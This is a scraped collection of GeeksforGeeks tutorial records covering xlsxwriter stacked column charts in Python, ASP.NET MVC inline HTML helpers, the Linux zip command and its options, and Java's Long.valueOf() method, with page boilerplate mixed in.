"code": "# import xlsxwriter moduleimport xlsxwriter # Workbook() takes one, non-optional, argument # which is the filename that we want to create.workbook = xlsxwriter.Workbook('chart_column2.xlsx') # The workbook object is then used to add new # worksheet via the add_worksheet() method. worksheet = workbook.add_worksheet() # Create a new Format object to formats cells# in worksheets using add_format() method . # here we create bold format object .bold = workbook.add_format({'bold': 1}) # create a data list .headings = ['Number', 'Batch 1', 'Batch 2'] data = [ [2, 3, 4, 5, 6, 7], [80, 80, 100, 60, 50, 100], [60, 50, 60, 20, 10, 20],] # Write a row of data starting from 'A1'# with bold format .worksheet.write_row('A1', headings, bold) # Write a column of data starting from# 'A2', 'B2', 'C2' respectively .worksheet.write_column('A2', data[0])worksheet.write_column('B2', data[1])worksheet.write_column('C2', data[2]) # Create a chart object that can be added# to a worksheet using add_chart() method. # here we create a stacked Column chart object .chart1 = workbook.add_chart({'type': 'column', 'subtype': 'stacked'}) # Add a data series to a chart# using add_series method. # Configure the first series.# = Sheet1 !$A$1 is equivalent to ['Sheet1', 0, 0].chart1.add_series({ 'name': '= Sheet1 !$B$1', 'categories': '= Sheet1 !$A$2:$A$7', 'values': '= Sheet1 !$B$2:$B$7',}) # Configure a second series.# Note use of alternative syntax to define ranges.# [sheetname, first_row, first_col, last_row, last_col].chart1.add_series({ 'name': ['Sheet1', 0, 2], 'categories': ['Sheet1', 1, 0, 6, 0], 'values': ['Sheet1', 1, 2, 6, 2],}) # Add a chart title chart1.set_title ({'name': 'Results of data analysis'}) # Add x-axis labelchart1.set_x_axis({'name': 'Test number'}) # Add y-axis labelchart1.set_y_axis({'name': 'Data length (mm)'}) # Set an Excel chart style.chart1.set_style(11) # add chart to the worksheet # the top-left corner of a chart # is anchored to cell E2 . worksheet.insert_chart('E2', chart1) # Finally, close the Excel file # via the close() method. workbook.close()",
"e": 5533,
"s": 3364,
"text": null
},
{
"code": null,
"e": 5543,
"s": 5533,
"text": "Output: "
},
{
"code": null,
"e": 5771,
"s": 5543,
"text": " Code #3 : Plot the Percent Stacked Column Chart.For plotting the Percent Stacked Column chart on an excel sheet, use add_chart() method with type ‘Column’ and subtype ‘percent_stacked’ keyword argument of a workbook object. "
},
{
"code": null,
"e": 5779,
"s": 5771,
"text": "Python3"
},
{
"code": "# import xlsxwriter moduleimport xlsxwriter # Workbook() takes one, non-optional, argument # which is the filename that we want to create.workbook = xlsxwriter.Workbook('chart_column3.xlsx') # The workbook object is then used to add new # worksheet via the add_worksheet() method. worksheet = workbook.add_worksheet() # Create a new Format object to formats cells# in worksheets using add_format() method . # here we create bold format object .bold = workbook.add_format({'bold': 1}) # create a data list .headings = ['Number', 'Batch 1', 'Batch 2'] data = [ [2, 3, 4, 5, 6, 7], [80, 80, 100, 60, 50, 100], [60, 50, 60, 20, 10, 20],] # Write a row of data starting from 'A1'# with bold format .worksheet.write_row('A1', headings, bold) # Write a column of data starting from# 'A2', 'B2', 'C2' respectively .worksheet.write_column('A2', data[0])worksheet.write_column('B2', data[1])worksheet.write_column('C2', data[2]) # Create a chart object that can be added# to a worksheet using add_chart() method. # here we create a percent stacked Column chart object .chart1 = workbook.add_chart({'type': 'column', 'subtype': 'percent_stacked'}) # Add a data series to a chart# using add_series method. # Configure the first series.# = Sheet1 !$A$1 is equivalent to ['Sheet1', 0, 0].chart1.add_series({ 'name': '= Sheet1 !$B$1', 'categories': '= Sheet1 !$A$2:$A$7', 'values': '= Sheet1 !$B$2:$B$7',}) # Configure a second series.# Note use of alternative syntax to define ranges.# [sheetname, first_row, first_col, last_row, last_col].chart1.add_series({ 'name': ['Sheet1', 0, 2], 'categories': ['Sheet1', 1, 0, 6, 0], 'values': ['Sheet1', 1, 2, 6, 2],}) # Add a chart title chart1.set_title ({'name': 'Results of data analysis'}) # Add x-axis labelchart1.set_x_axis({'name': 'Test number'}) # Add y-axis labelchart1.set_y_axis({'name': 'Data length (mm)'}) # Set an Excel chart style.chart1.set_style(11) # add chart to the worksheet # the top-left corner of a chart # is anchored to cell E2 . worksheet.insert_chart('E2', chart1) # Finally, close the Excel file # via the close() method. workbook.close()",
"e": 7964,
"s": 5779,
"text": null
},
{
"code": null,
"e": 7974,
"s": 7964,
"text": "Output: "
},
{
"code": null,
"e": 7988,
"s": 7976,
"text": "anikaseth98"
},
{
"code": null,
"e": 8001,
"s": 7988,
"text": "Python-excel"
},
{
"code": null,
"e": 8008,
"s": 8001,
"text": "Python"
}
] |
Inline HTML Helper – HTML Helpers in ASP.NET MVC
|
23 Jun, 2020
HTML Helpers are methods that returns HTML strings. These are used in the view. In simple terms, these are C# methods that are used to return HTML. Using HTML helpers you can render a text box, an area, image tag, etc. In MVC we have many built-in HTML helpers and we can create custom helpers too. Using HTML helpers a view can show model properties and can generate HTML as per the types of properties.
Types of HTML Helpers:
Inline HTML HelperBuilt-in HTML HelperStandard HTML helperStrongly Typed HTML helperTemplated HTMl HelperCustom HTML Helper
Inline HTML Helper
Built-in HTML HelperStandard HTML helperStrongly Typed HTML helperTemplated HTMl Helper
Standard HTML helper
Strongly Typed HTML helper
Templated HTMl Helper
Custom HTML Helper
Inline HTML HelpersThese are the type of helpers that are used on a single view and are used on the same page. inline HTML helpers can be created using @helper tag.
You can create your own HTML Helper with the following syntax.
@helper HelperName(parameters)
{
// code
}
To use the above-created helper we use the following syntax
@HelperName(parameters)
Example:
@{ Layout = null;} <!--created a inline HTMl Helper with a single string type parameter-->@helper MyInlineHelper(string[] words){ <ol> <!--Used a foreach loop inside HTML. similarly we can use any conditional statement or any logic like we use in normal C# code.--> @foreach (string word in words) { <li>@word</li> } </ol>}<!DOCTYPE html> <html><head> <meta name="viewport" content="width=device-width" /> <title>Inline HTML Helper</title></head><body> <div> <!--called it inside this div and to get the output--> @MyInlineHelper(new string[] { "Delhi", "Punjab", "Assam", "Bihar" }) </div></body></html>
Output:
Drawback of Inline HTML helpers
These helpers can only be used with a single view only. You can not use it with multiple views.
Reference: Setup and run code in Visual Studio
HTML-Misc
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 53,
"s": 25,
"text": "\n23 Jun, 2020"
},
{
"code": null,
"e": 458,
"s": 53,
"text": "HTML Helpers are methods that returns HTML strings. These are used in the view. In simple terms, these are C# methods that are used to return HTML. Using HTML helpers you can render a text box, an area, image tag, etc. In MVC we have many built-in HTML helpers and we can create custom helpers too. Using HTML helpers a view can show model properties and can generate HTML as per the types of properties."
},
{
"code": null,
"e": 481,
"s": 458,
"text": "Types of HTML Helpers:"
},
{
"code": null,
"e": 605,
"s": 481,
"text": "Inline HTML HelperBuilt-in HTML HelperStandard HTML helperStrongly Typed HTML helperTemplated HTMl HelperCustom HTML Helper"
},
{
"code": null,
"e": 624,
"s": 605,
"text": "Inline HTML Helper"
},
{
"code": null,
"e": 712,
"s": 624,
"text": "Built-in HTML HelperStandard HTML helperStrongly Typed HTML helperTemplated HTMl Helper"
},
{
"code": null,
"e": 733,
"s": 712,
"text": "Standard HTML helper"
},
{
"code": null,
"e": 760,
"s": 733,
"text": "Strongly Typed HTML helper"
},
{
"code": null,
"e": 782,
"s": 760,
"text": "Templated HTMl Helper"
},
{
"code": null,
"e": 801,
"s": 782,
"text": "Custom HTML Helper"
},
{
"code": null,
"e": 966,
"s": 801,
"text": "Inline HTML HelpersThese are the type of helpers that are used on a single view and are used on the same page. inline HTML helpers can be created using @helper tag."
},
{
"code": null,
"e": 1163,
"s": 966,
"text": " \nYou can create your own HTML Helper with the following syntax.\n@helper HelperName(parameters)\n{\n // code\n}\nTo use the above-created helper we use the following syntax\n@HelperName(parameters)\n"
},
{
"code": null,
"e": 1172,
"s": 1163,
"text": "Example:"
},
{
"code": "@{ Layout = null;} <!--created a inline HTMl Helper with a single string type parameter-->@helper MyInlineHelper(string[] words){ <ol> <!--Used a foreach loop inside HTML. similarly we can use any conditional statement or any logic like we use in normal C# code.--> @foreach (string word in words) { <li>@word</li> } </ol>}<!DOCTYPE html> <html><head> <meta name=\"viewport\" content=\"width=device-width\" /> <title>Inline HTML Helper</title></head><body> <div> <!--called it inside this div and to get the output--> @MyInlineHelper(new string[] { \"Delhi\", \"Punjab\", \"Assam\", \"Bihar\" }) </div></body></html> ",
"e": 1913,
"s": 1172,
"text": null
},
{
"code": null,
"e": 1921,
"s": 1913,
"text": "Output:"
},
{
"code": null,
"e": 1953,
"s": 1921,
"text": "Drawback of Inline HTML helpers"
},
{
"code": null,
"e": 2049,
"s": 1953,
"text": "These helpers can only be used with a single view only. You can not use it with multiple views."
},
{
"code": null,
"e": 2096,
"s": 2049,
"text": "Reference: Setup and run code in Visual Studio"
},
{
"code": null,
"e": 2106,
"s": 2096,
"text": "HTML-Misc"
},
{
"code": null,
"e": 2111,
"s": 2106,
"text": "HTML"
},
{
"code": null,
"e": 2128,
"s": 2111,
"text": "Web Technologies"
},
{
"code": null,
"e": 2133,
"s": 2128,
"text": "HTML"
}
] |
ZIP command in Linux with examples
|
19 Feb, 2021
ZIP is a compression and file packaging utility for Unix. Each file is stored in single .zip {.zip-filename} file with the extension .zip.
zip is used to compress the files to reduce file size and also used as file package utility. zip is available in many operating systems like unix, linux, windows etc.
If you have a limited bandwidth between two servers and want to transfer the files faster, then zip the files and transfer.
The zip program puts one or more compressed files into a single zip archive, along with information about the files (name, path, date, time of last modification, protection, and check information to verify file integrity). An entire directory structure can be packed into a zip archive with a single command.
Compression ratios of 2:1 to 3:1 are common for text files. zip has one compression method (deflation) and can also store files without compression. zip automatically chooses the better of the two for each file to be compressed.The program is useful for packaging a set of files for distribution; for archiving files; and for saving disk space by temporarily compressing unused files or directories.
Syntax :
zip [options] zipfile files_list
Syntax for Creating a zip file:
$zip myfile.zip filename.txt
Extracting files from zip file
Unzip will list, test, or extract files from a ZIP archive, commonly found on Unix systems. The default behavior (with no options) is to extract into the current directory (and sub-directories below it) all files from the specified ZIP archive.
Syntax :
$unzip myfile.zip
Options :1. -d Option: Removes the file from the zip archive. After creating a zip file, you can remove a file from the archive using the -d option.Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.chello5.chello6.chello7.chello8.cSyntax :
$zip –d filename.zip file.txt
Command :
$zip –d myfile.zip hello7.c
After removing hello7.c from myfile.zip file, the files can be restored with unzip command
Command:
$unzip myfile.zip
$ls command
Output :
hello1.c
hello2.c
hello3.c
hello4.c
hello5.c
hello6.c
hello8.c
The hello7.c file is removed from zip file
2.-u Option: Updates the file in the zip archive. This option can be used to update the specified list of files or add new files to the existing zip file. Update an existing entry in the zip archive only if it has been modified more recently than the version already in the zip archive.Syntax:
$zip –u filename.zip file.txt
Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.c
Command :
$zip –u myfile.zip hello5.c
After updating hello5.c from myfile.zip file, the files can be restored with unzip command
Command:
$unzip myfile.zip
$ls command
Output :
hello1.c
hello2.c
hello3.c
hello4.c
hello5.c
The hello5.c file is updated to the zip file
3. -m Option: Deletes the original files after zipping. Move the specified files into the zip archive actually, this deletes the target directories/files after making the specified zip archive. If a directory becomes empty after removal of the files, the directory is also removed. No deletions are done until zip has created the archive without error. This is useful for conserving disk space, but is potentially dangerous removing all input files.Syntax :
$zip –m filename.zip file.txt
Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.c
Command :
$zip –m myfile.zip *.c
After this command has been executed by the terminal here is the result:
Command:
$ls command
Output :
myfile.zip
//No other files of .c(extension) has been found
4.-r Option: To zip a directory recursively, use the -r option with the zip command and it will recursively zips the files in a directory. This option helps you to zip all the files present in the specified directory.Syntax:
$zip –r filename.zip directory_name
Suppose we have following files in my current directory (docs) are listed below:unix.pdforacle.pdflinux.pdf
Command :
$zip –r mydir.zip docs
Output :
adding: docs/ //Compressing the directory
adding: docs/unix.pdf // Compressing first file
adding: docs/oracle.pdf // Compressing second file
adding: docs/linux.pdf //Compressing third file
5. -x Option: Exclude the files in creating the zip. Let say you are zipping all the files in the current directory and want to exclude some unwanted files. You can exclude these unwanted files using the -x option.Syntax :
$zip –x filename.zip file_to_be_excluded
Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.c
Command :
$zip –x myfile.zip hello3.c
This command on execution will compress all the files except hello3.c
Command:
$ls command
Output :
myfile.zip //compressed file
hello3.c //this file has been excluded while compressing
6.-v Option: Verbose mode or print diagnostic version info. Normally, when applied to real operations, this option enables the display of a progress indicator during compression and requests verbose diagnostic info about zip file structure oddities.When -v is the only command line argument, and either stdin or stdout is not redirected to a file, a diagnostic screen is printed. In addition to the help screen header with program name, version, and release date, some pointers to the Info-ZIP home and distribution sites are given. Then, it shows information about the target environment (compiler type and version, OS version, compilation date and the enabled optional features used to create the zip executable.Syntax :
$zip –v filename.zip file1.txt
Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.c
Command
$zip -v file1.zip *.c
Output :
adding: hello1.c (in=0) (out=0) (stored 0%)
adding: hello2.c (in=0) (out=0) (stored 0%)
adding: hello3.c (in=0) (out=0) (stored 0%)
adding: hello4.c (in=0) (out=0) (stored 0%)
total bytes=0, compressed=0 -> 0% savings
Linux Tutorials | Compressing and Archiving Files in Linux | tar and zip commands | GeeksforGeeks - YouTubeGeeksforGeeks529K subscribersLinux Tutorials | Compressing and Archiving Files in Linux | tar and zip commands | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.More videosMore videosYou're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:003:12 / 7:08•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=KucqplDh7LI" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>This article is contributed by Mohak Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
linux-command
Linux-file-commands
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
curl command in Linux with Examples
Tail command in Linux with examples
Conditional Statements | Shell Script
TCP Server-Client implementation in C
Docker - COPY Instruction
scp command in Linux with Examples
UDP Server-Client implementation in C
echo command in Linux with Examples
Cat command in Linux with examples
touch command in Linux with Examples
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n19 Feb, 2021"
},
{
"code": null,
"e": 167,
"s": 28,
"text": "ZIP is a compression and file packaging utility for Unix. Each file is stored in single .zip {.zip-filename} file with the extension .zip."
},
{
"code": null,
"e": 334,
"s": 167,
"text": "zip is used to compress the files to reduce file size and also used as file package utility. zip is available in many operating systems like unix, linux, windows etc."
},
{
"code": null,
"e": 458,
"s": 334,
"text": "If you have a limited bandwidth between two servers and want to transfer the files faster, then zip the files and transfer."
},
{
"code": null,
"e": 767,
"s": 458,
"text": "The zip program puts one or more compressed files into a single zip archive, along with information about the files (name, path, date, time of last modification, protection, and check information to verify file integrity). An entire directory structure can be packed into a zip archive with a single command."
},
{
"code": null,
"e": 1167,
"s": 767,
"text": "Compression ratios of 2:1 to 3:1 are common for text files. zip has one compression method (deflation) and can also store files without compression. zip automatically chooses the better of the two for each file to be compressed.The program is useful for packaging a set of files for distribution; for archiving files; and for saving disk space by temporarily compressing unused files or directories."
},
{
"code": null,
"e": 1176,
"s": 1167,
"text": "Syntax :"
},
{
"code": null,
"e": 1210,
"s": 1176,
"text": "zip [options] zipfile files_list\n"
},
{
"code": null,
"e": 1243,
"s": 1210,
"text": "Syntax for Creating a zip file:"
},
{
"code": null,
"e": 1272,
"s": 1243,
"text": "$zip myfile.zip filename.txt"
},
{
"code": null,
"e": 1304,
"s": 1272,
"text": "Extracting files from zip file "
},
{
"code": null,
"e": 1549,
"s": 1304,
"text": "Unzip will list, test, or extract files from a ZIP archive, commonly found on Unix systems. The default behavior (with no options) is to extract into the current directory (and sub-directories below it) all files from the specified ZIP archive."
},
{
"code": null,
"e": 1578,
"s": 1549,
"text": "Syntax :\n$unzip myfile.zip \n"
},
{
"code": null,
"e": 1873,
"s": 1578,
"text": "Options :1. -d Option: Removes the file from the zip archive. After creating a zip file, you can remove a file from the archive using the -d option.Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.chello5.chello6.chello7.chello8.cSyntax :"
},
{
"code": null,
"e": 1942,
"s": 1873,
"text": "$zip –d filename.zip file.txt\nCommand :\n$zip –d myfile.zip hello7.c\n"
},
{
"code": null,
"e": 2033,
"s": 1942,
"text": "After removing hello7.c from myfile.zip file, the files can be restored with unzip command"
},
{
"code": null,
"e": 2188,
"s": 2033,
"text": "Command:\n$unzip myfile.zip\n$ls command\nOutput :\nhello1.c\nhello2.c\nhello3.c\nhello4.c\nhello5.c\nhello6.c\nhello8.c\nThe hello7.c file is removed from zip file\n"
},
{
"code": null,
"e": 2482,
"s": 2188,
"text": "2.-u Option: Updates the file in the zip archive. This option can be used to update the specified list of files or add new files to the existing zip file. Update an existing entry in the zip archive only if it has been modified more recently than the version already in the zip archive.Syntax:"
},
{
"code": null,
"e": 2512,
"s": 2482,
"text": "$zip –u filename.zip file.txt"
},
{
"code": null,
"e": 2618,
"s": 2512,
"text": "Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.c"
},
{
"code": null,
"e": 2657,
"s": 2618,
"text": "Command :\n$zip –u myfile.zip hello5.c\n"
},
{
"code": null,
"e": 2748,
"s": 2657,
"text": "After updating hello5.c from myfile.zip file, the files can be restored with unzip command"
},
{
"code": null,
"e": 2887,
"s": 2748,
"text": "Command:\n$unzip myfile.zip\n$ls command\nOutput :\nhello1.c\nhello2.c\nhello3.c\nhello4.c\nhello5.c\nThe hello5.c file is updated to the zip file\n"
},
{
"code": null,
"e": 3345,
"s": 2887,
"text": "3. -m Option: Deletes the original files after zipping. Move the specified files into the zip archive actually, this deletes the target directories/files after making the specified zip archive. If a directory becomes empty after removal of the files, the directory is also removed. No deletions are done until zip has created the archive without error. This is useful for conserving disk space, but is potentially dangerous removing all input files.Syntax :"
},
{
"code": null,
"e": 3375,
"s": 3345,
"text": "$zip –m filename.zip file.txt"
},
{
"code": null,
"e": 3481,
"s": 3375,
"text": "Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.c"
},
{
"code": null,
"e": 3515,
"s": 3481,
"text": "Command :\n$zip –m myfile.zip *.c\n"
},
{
"code": null,
"e": 3588,
"s": 3515,
"text": "After this command has been executed by the terminal here is the result:"
},
{
"code": null,
"e": 3679,
"s": 3588,
"text": "Command:\n$ls command\nOutput :\nmyfile.zip\n//No other files of .c(extension) has been found\n"
},
{
"code": null,
"e": 3904,
"s": 3679,
"text": "4.-r Option: To zip a directory recursively, use the -r option with the zip command and it will recursively zips the files in a directory. This option helps you to zip all the files present in the specified directory.Syntax:"
},
{
"code": null,
"e": 3940,
"s": 3904,
"text": "$zip –r filename.zip directory_name"
},
{
"code": null,
"e": 4048,
"s": 3940,
"text": "Suppose we have following files in my current directory (docs) are listed below:unix.pdforacle.pdflinux.pdf"
},
{
"code": null,
"e": 4302,
"s": 4048,
"text": "Command :\n$zip –r mydir.zip docs\nOutput :\n adding: docs/ //Compressing the directory\n adding: docs/unix.pdf // Compressing first file\n adding: docs/oracle.pdf // Compressing second file\n adding: docs/linux.pdf //Compressing third file\n"
},
{
"code": null,
"e": 4525,
"s": 4302,
"text": "5. -x Option: Exclude the files in creating the zip. Let say you are zipping all the files in the current directory and want to exclude some unwanted files. You can exclude these unwanted files using the -x option.Syntax :"
},
{
"code": null,
"e": 4566,
"s": 4525,
"text": "$zip –x filename.zip file_to_be_excluded"
},
{
"code": null,
"e": 4672,
"s": 4566,
"text": "Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.c"
},
{
"code": null,
"e": 4711,
"s": 4672,
"text": "Command :\n$zip –x myfile.zip hello3.c\n"
},
{
"code": null,
"e": 4781,
"s": 4711,
"text": "This command on execution will compress all the files except hello3.c"
},
{
"code": null,
"e": 4900,
"s": 4781,
"text": "Command:\n$ls command\nOutput :\nmyfile.zip //compressed file\nhello3.c //this file has been excluded while compressing\n"
},
{
"code": null,
"e": 5623,
"s": 4900,
"text": "6.-v Option: Verbose mode or print diagnostic version info. Normally, when applied to real operations, this option enables the display of a progress indicator during compression and requests verbose diagnostic info about zip file structure oddities.When -v is the only command line argument, and either stdin or stdout is not redirected to a file, a diagnostic screen is printed. In addition to the help screen header with program name, version, and release date, some pointers to the Info-ZIP home and distribution sites are given. Then, it shows information about the target environment (compiler type and version, OS version, compilation date and the enabled optional features used to create the zip executable.Syntax :"
},
{
"code": null,
"e": 5654,
"s": 5623,
"text": "$zip –v filename.zip file1.txt"
},
{
"code": null,
"e": 5760,
"s": 5654,
"text": "Suppose we have following files in my current directory are listed below:hello1.chello2.chello3.chello4.c"
},
{
"code": null,
"e": 6036,
"s": 5760,
"text": "Command\n$zip -v file1.zip *.c\nOutput :\nadding: hello1.c (in=0) (out=0) (stored 0%)\n adding: hello2.c (in=0) (out=0) (stored 0%)\n adding: hello3.c (in=0) (out=0) (stored 0%)\n adding: hello4.c (in=0) (out=0) (stored 0%)\ntotal bytes=0, compressed=0 -> 0% savings\n"
},
{
"code": null,
"e": 7316,
"s": 6036,
"text": "Linux Tutorials | Compressing and Archiving Files in Linux | tar and zip commands | GeeksforGeeks - YouTubeGeeksforGeeks529K subscribersLinux Tutorials | Compressing and Archiving Files in Linux | tar and zip commands | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.More videosMore videosYou're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:003:12 / 7:08•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=KucqplDh7LI\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>This article is contributed by Mohak Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks."
},
{
"code": null,
"e": 7441,
"s": 7316,
"text": "Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above."
},
{
"code": null,
"e": 7455,
"s": 7441,
"text": "linux-command"
},
{
"code": null,
"e": 7475,
"s": 7455,
"text": "Linux-file-commands"
},
{
"code": null,
"e": 7486,
"s": 7475,
"text": "Linux-Unix"
},
{
"code": null,
"e": 7584,
"s": 7486,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 7620,
"s": 7584,
"text": "curl command in Linux with Examples"
},
{
"code": null,
"e": 7656,
"s": 7620,
"text": "Tail command in Linux with examples"
},
{
"code": null,
"e": 7694,
"s": 7656,
"text": "Conditional Statements | Shell Script"
},
{
"code": null,
"e": 7732,
"s": 7694,
"text": "TCP Server-Client implementation in C"
},
{
"code": null,
"e": 7758,
"s": 7732,
"text": "Docker - COPY Instruction"
},
{
"code": null,
"e": 7793,
"s": 7758,
"text": "scp command in Linux with Examples"
},
{
"code": null,
"e": 7831,
"s": 7793,
"text": "UDP Server-Client implementation in C"
},
{
"code": null,
"e": 7867,
"s": 7831,
"text": "echo command in Linux with Examples"
},
{
"code": null,
"e": 7902,
"s": 7867,
"text": "Cat command in Linux with examples"
}
] |
Java.lang.Long.valueOf() method with examples
|
05 Dec, 2018
Java.lang.Long.valueOf() is a built-in method in Java of lang class that returns a Long object holding the value extracted from a specified String S when parsed with the radix that is given in the second argument. The first argument is interpreted as representing a signed long in the radix specified by the second argument, exactly as if the arguments were given to the parseLong(java.lang.String, int) method. It returns a result that is a Long object that represents the long value specified by the string.
Syntax:
public static Long valueOf(String s, int radix) throws NumberFormatException
Parameters: The method accepts two mandatory parameters:
S: This refers to the string which is to be parsed.
radix: This refers to the radix which is to be used in interpreting the string S.
Return type: The built-in method returns a Long object holding the value represented by the string argument in the specified radix.
Errors and Exception:
NumberFormatException: If the number does not contain a parsable long the program returns.
Below programs illustrate the Java.lang.Long.valueOf() method.
Program 1:
// Java program to demonstrate// the java.lang.Long.valueOf() methodimport java.lang.Math; class Gfg1 { // driver code public static void main(String args[]) { Long l = new Long(10); String str = "45325"; // returns a Long instance representing // the specified string with radix 10 System.out.println("Long instance Value = " + l.valueOf(str, 10)); }}
Output:
Long instance Value = 45325
Program 2:
// Java program to demonstrate// of java.lang.Long.valueOf() method// NumberFormatExceptionimport java.lang.Math; class Gfg1 { // driver code public static void main(String args[]) { Long l = new Long(10); // not a parsable long String str = "gopal"; // returns a Long instance representing // the specified string with radix 10 System.out.println("Long instance Value = " + l.valueOf(str, 10)); }}
Output:
Exception in thread "main" java.lang.NumberFormatException: For input string: "gopal"
at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
at java.lang.Long.parseLong(Long.java:589)
at java.lang.Long.valueOf(Long.java:776)
at Gfg1.main(File.java:15)
Java-Functions
Java-lang package
java-Long
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Interfaces in Java
ArrayList in Java
Collections in Java
Stream In Java
Multidimensional Arrays in Java
Singleton Class in Java
Set in Java
Initializing a List in Java
Stack Class in Java
Introduction to Java
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n05 Dec, 2018"
},
{
"code": null,
"e": 538,
"s": 28,
"text": "Java.lang.Long.valueOf() is a built-in method in Java of lang class that returns a Long object holding the value extracted from a specified String S when parsed with the radix that is given in the second argument. The first argument is interpreted as representing a signed long in the radix specified by the second argument, exactly as if the arguments were given to the parseLong(java.lang.String, int) method. It returns a result that is a Long object that represents the long value specified by the string."
},
{
"code": null,
"e": 546,
"s": 538,
"text": "Syntax:"
},
{
"code": null,
"e": 623,
"s": 546,
"text": "public static Long valueOf(String s, int radix) throws NumberFormatException"
},
{
"code": null,
"e": 680,
"s": 623,
"text": "Parameters: The method accepts two mandatory parameters:"
},
{
"code": null,
"e": 732,
"s": 680,
"text": "S: This refers to the string which is to be parsed."
},
{
"code": null,
"e": 814,
"s": 732,
"text": "radix: This refers to the radix which is to be used in interpreting the string S."
},
{
"code": null,
"e": 946,
"s": 814,
"text": "Return type: The built-in method returns a Long object holding the value represented by the string argument in the specified radix."
},
{
"code": null,
"e": 968,
"s": 946,
"text": "Errors and Exception:"
},
{
"code": null,
"e": 1059,
"s": 968,
"text": "NumberFormatException: If the number does not contain a parsable long the program returns."
},
{
"code": null,
"e": 1122,
"s": 1059,
"text": "Below programs illustrate the Java.lang.Long.valueOf() method."
},
{
"code": null,
"e": 1133,
"s": 1122,
"text": "Program 1:"
},
{
"code": "// Java program to demonstrate// the java.lang.Long.valueOf() methodimport java.lang.Math; class Gfg1 { // driver code public static void main(String args[]) { Long l = new Long(10); String str = \"45325\"; // returns a Long instance representing // the specified string with radix 10 System.out.println(\"Long instance Value = \" + l.valueOf(str, 10)); }}",
"e": 1570,
"s": 1133,
"text": null
},
{
"code": null,
"e": 1578,
"s": 1570,
"text": "Output:"
},
{
"code": null,
"e": 1607,
"s": 1578,
"text": "Long instance Value = 45325\n"
},
{
"code": null,
"e": 1618,
"s": 1607,
"text": "Program 2:"
},
{
"code": "// Java program to demonstrate// of java.lang.Long.valueOf() method// NumberFormatExceptionimport java.lang.Math; class Gfg1 { // driver code public static void main(String args[]) { Long l = new Long(10); // not a parsable long String str = \"gopal\"; // returns a Long instance representing // the specified string with radix 10 System.out.println(\"Long instance Value = \" + l.valueOf(str, 10)); }}",
"e": 2110,
"s": 1618,
"text": null
},
{
"code": null,
"e": 2118,
"s": 2110,
"text": "Output:"
},
{
"code": null,
"e": 2413,
"s": 2118,
"text": "Exception in thread \"main\" java.lang.NumberFormatException: For input string: \"gopal\"\n at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)\n at java.lang.Long.parseLong(Long.java:589)\n at java.lang.Long.valueOf(Long.java:776)\n at Gfg1.main(File.java:15)\n"
},
{
"code": null,
"e": 2428,
"s": 2413,
"text": "Java-Functions"
},
{
"code": null,
"e": 2446,
"s": 2428,
"text": "Java-lang package"
},
{
"code": null,
"e": 2456,
"s": 2446,
"text": "java-Long"
},
{
"code": null,
"e": 2461,
"s": 2456,
"text": "Java"
},
{
"code": null,
"e": 2466,
"s": 2461,
"text": "Java"
},
{
"code": null,
"e": 2564,
"s": 2466,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 2583,
"s": 2564,
"text": "Interfaces in Java"
},
{
"code": null,
"e": 2601,
"s": 2583,
"text": "ArrayList in Java"
},
{
"code": null,
"e": 2621,
"s": 2601,
"text": "Collections in Java"
},
{
"code": null,
"e": 2636,
"s": 2621,
"text": "Stream In Java"
},
{
"code": null,
"e": 2668,
"s": 2636,
"text": "Multidimensional Arrays in Java"
},
{
"code": null,
"e": 2692,
"s": 2668,
"text": "Singleton Class in Java"
},
{
"code": null,
"e": 2704,
"s": 2692,
"text": "Set in Java"
},
{
"code": null,
"e": 2732,
"s": 2704,
"text": "Initializing a List in Java"
},
{
"code": null,
"e": 2752,
"s": 2732,
"text": "Stack Class in Java"
}
] |
Calendar setLenient() Method in Java with Examples - GeeksforGeeks
|
21 Feb, 2019
